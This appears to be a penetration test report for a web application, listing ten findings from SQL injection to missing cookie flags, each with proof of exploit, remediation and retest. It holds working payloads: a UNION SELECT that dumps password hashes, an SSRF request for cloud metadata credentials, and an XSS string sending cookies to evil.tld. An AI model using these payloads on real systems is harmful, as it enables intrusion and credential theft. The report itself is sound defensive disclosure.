CRITICAL · CVSS 9.4MUS-001
SQL injection in product search
A03: InjectionCWE-89GET /api/products (q parameter)
Impact. The search parameter was concatenated directly into a SQL query. An unauthenticated attacker could read any table in the database, including password hashes and unpublished records, and in principle modify or delete data.
Proof of exploit
GET /api/products?q=widget' OR '1'='1
→ 200 OK · returned 3,914 rows (full catalog incl. unpublished)
GET /api/products?q=x' UNION SELECT email,pass_hash,1,2 FROM users--
→ 200 OK · leaked 312 user emails + bcrypt hashes
Remediation. Replace string concatenation with parameterized queries (prepared statements) for every user-supplied value. Add an allowlist for sortable/filterable columns.
Retest. Replayed after fix → payloads treated as literal search text, no rows leaked. Confirmed closed.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CRITICAL · CVSS 9.1MUS-002
Server-side request forgery reaches cloud metadata
A10: Server-Side Request ForgeryCWE-918POST /api/integrations/fetch (url parameter)
Impact. The integration preview fetched any URL supplied by the user with no host restrictions. An attacker could reach the cloud instance metadata endpoint and retrieve temporary IAM role credentials, a path to broader cloud account compromise.
Proof of exploit
POST /api/integrations/fetch
{ "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role" }
→ 200 OK · returned AccessKeyId, SecretAccessKey, TokenRemediation. Resolve and validate the target host against an allowlist before fetching. Block link-local, loopback, and private ranges. Require IMDSv2 (session-token) on the cloud instances.
Retest. Replayed after fix → 400 Bad Request (host not allowed); metadata range unreachable. Confirmed closed.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
HIGH · CVSS 8.1MUS-003
Broken access control on order records (IDOR)
A01: Broken Access ControlCWE-639GET / PATCH /api/orders/{id}
Impact. Any authenticated user could read and modify any other customer's order, including name, shipping address, and line items, by changing the numeric id in the request path. No ownership check was enforced.
Proof of exploit
GET /api/orders/4012 (as user 8830)
→ 200 OK · returned order belonging to user 2261
PATCH /api/orders/4012 { "shippingAddress": "attacker-controlled" }
→ 200 OK · order 2261 modifiedRemediation. Enforce an ownership check on the order lookup: scope the query to the authenticated user id, and return 404 (not 403) for records they do not own.
Retest. Replayed after fix → 404 Not Found on both read and write. Confirmed closed.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
HIGH · CVSS 7.5MUS-004
Admin API responds without a session
A07: Identification & Authentication FailuresCWE-306GET /api/admin/users
Impact. The internal admin user-listing endpoint returned data to unauthenticated requests, exposing email addresses and role assignments for every user.
Proof of exploit
GET /api/admin/users (no auth header)
→ 200 OK · 312 user records (email, role, last_login)
Remediation. Require and verify an authenticated admin session on all /api/admin routes at the middleware layer, not per-handler.
Retest. Replayed after fix → 401 Unauthorized. Confirmed closed.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH · CVSS 7.4MUS-005
Password reset token does not expire
A07: Identification & Authentication FailuresCWE-640POST /api/auth/reset
Impact. Password reset tokens remained valid indefinitely and could be reused, so a leaked or intercepted reset link could be used days later to take over an account.
Proof of exploit
POST /api/auth/reset { "token": "<9-day-old token>", "password": "…" }
→ 200 OK · password changed
Reused the same token again → 200 OK · changed a second timeRemediation. Expire reset tokens after 30 minutes, bind them to a single account, and invalidate on first use.
Retest. Replayed after fix → 410 Gone on both the stale and the reused token. Confirmed closed.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MEDIUM · CVSS 6.4MUS-006
Stored cross-site scripting in profile name
A03: InjectionCWE-79PATCH /api/profile (displayName)
Impact. The display name was rendered without output encoding on the shared team page, so a script stored by one user executed in every teammate's browser, enabling session-cookie theft and actions on their behalf.
Proof of exploit
PATCH /api/profile
{ "displayName": "<img src=x onerror=fetch('//evil.tld/c?'+document.cookie)>" }
→ payload stored, then executed for every viewer of /teamRemediation. Encode all user-supplied values on output (context-aware escaping). Add a Content-Security-Policy that disallows inline script as defense in depth.
Retest. Replayed after fix → payload rendered as inert text; no script executed. Confirmed closed.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
MEDIUM · CVSS 5.9MUS-007
No rate limiting on login (credential stuffing)
A07: Identification & Authentication FailuresCWE-307POST /api/auth/login
Impact. The login endpoint accepted unlimited attempts with no throttling, lockout, or CAPTCHA, allowing large-scale password guessing and credential-stuffing against user accounts.
Proof of exploit
2,000 login attempts in 60s from one IP
→ all 200/401 processed, no throttle, no lockout, no challenge
Remediation. Add per-account and per-IP rate limiting with exponential backoff, lock after repeated failures, and add a challenge on anomalous volume.
Retest. Replayed after fix → throttled after 10 attempts (429), account challenged. Confirmed closed.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MEDIUM · CVSS 5.3MUS-008
Verbose error exposes database schema
A05: Security MisconfigurationCWE-209POST /api/checkout
Impact. An unhandled error returned a full stack trace including the ORM query and underlying table and column names, helping an attacker map the data model.
Proof of exploit
POST /api/checkout (malformed body)
→ 500 · stack trace incl. SQL text, table + column names, file paths
Remediation. Return a generic error to clients; log details server-side only. Disable debug responses in production.
Retest. Replayed after fix → generic 500, no internals disclosed. Confirmed closed.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
LOW · CVSS 3.7MUS-009
Missing HTTP security headers
A05: Security MisconfigurationCWE-693All responses (app.northwind.example)
Impact. Responses lacked HSTS, Content-Security-Policy, and X-Content-Type-Options, weakening defenses against protocol downgrade, content sniffing, and injection exploitation.
Proof of exploit
GET / → 200 OK
missing: Strict-Transport-Security, Content-Security-Policy,
X-Content-Type-Options: nosniff
Remediation. Set HSTS with a long max-age, a restrictive CSP, X-Content-Type-Options: nosniff, and Referrer-Policy at the edge for all responses.
Retest. Replayed after fix → all headers present and correctly scoped. Confirmed closed.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
LOW · CVSS 3.1MUS-010
Session cookie missing HttpOnly and Secure flags
A05: Security MisconfigurationCWE-1004Set-Cookie: session
Impact. The session cookie was set without HttpOnly or Secure, so it was readable by client-side script (widening the impact of any XSS) and could be sent over plaintext HTTP.
Proof of exploit
Set-Cookie: session=…; Path=/
missing: HttpOnly; Secure; SameSite
Remediation. Set session cookies with HttpOnly, Secure, and SameSite=Lax (or Strict). Serve the app over HTTPS only.
Retest. Replayed after fix → cookie set with HttpOnly; Secure; SameSite=Lax. Confirmed closed.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N